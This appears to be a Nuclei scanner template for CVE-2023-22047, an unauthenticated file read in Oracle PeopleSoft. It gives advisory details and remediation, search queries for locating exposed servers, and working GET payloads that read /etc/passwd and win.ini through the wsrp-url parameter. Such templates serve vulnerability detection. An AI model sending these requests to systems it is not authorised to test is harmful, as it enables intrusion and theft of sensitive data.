Oracle Peoplesoft - Unauthenticated File Read

id: CVE-2023-22047

info:
  name: Oracle Peoplesoft - Unauthenticated File Read
  author: tuo4n8
  severity: high
  description: |
    Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component- Portal).  Supported versions that are affected are 8.59 and  8.60. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all PeopleSoft Enterprise PeopleTools accessible data.
  impact: |
    Unauthenticated attackers can read arbitrary files from the PeopleSoft server through the wsrp-url parameter in the Portal component, potentially accessing critical data including configuration files and sensitive employee information.
  remediation: |
    Update Oracle PeopleSoft Enterprise PeopleTools to a version newer than 8.60 that validates and restricts file:// URLs in the wsrp-url parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22047
    - https://x.com/tuo4n8/status/1907279143517266286
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-22047
    epss-score: 0.74469
    epss-percentile: 0.99433
    cpe: cpe:2.3:a:oracle:peoplesoft_enterprise:8.59:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: oracle
    product: peoplesoft_enterprise
    shodan-query: http.title:"oracle peoplesoft enterprise"
    fofa-query: title="oracle peoplesoft enterprise"
    google-query: intitle:"oracle peoplesoft enterprise"
  tags: cve,cve2023,oracle,peoplesoft,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/RP?wsrp-url=file:///etc/passwd"
      - "{{BaseURL}}/RP?wsrp-url=file:///c:\\windows\\win.ini"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "bit app support"
        condition: or

      - type: word
        part: content_type
        words:
          - "content/unknown"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220136729e4f81fbdf6e1fba3757f96cea918178bc210f3242a0c7c7df5b6beefff0221008c0a41250c1cca742356bdd368cc63fb3a71eecb96da2c086239b03db1b7fef0:922c64590222798bb761d5b6d8e72950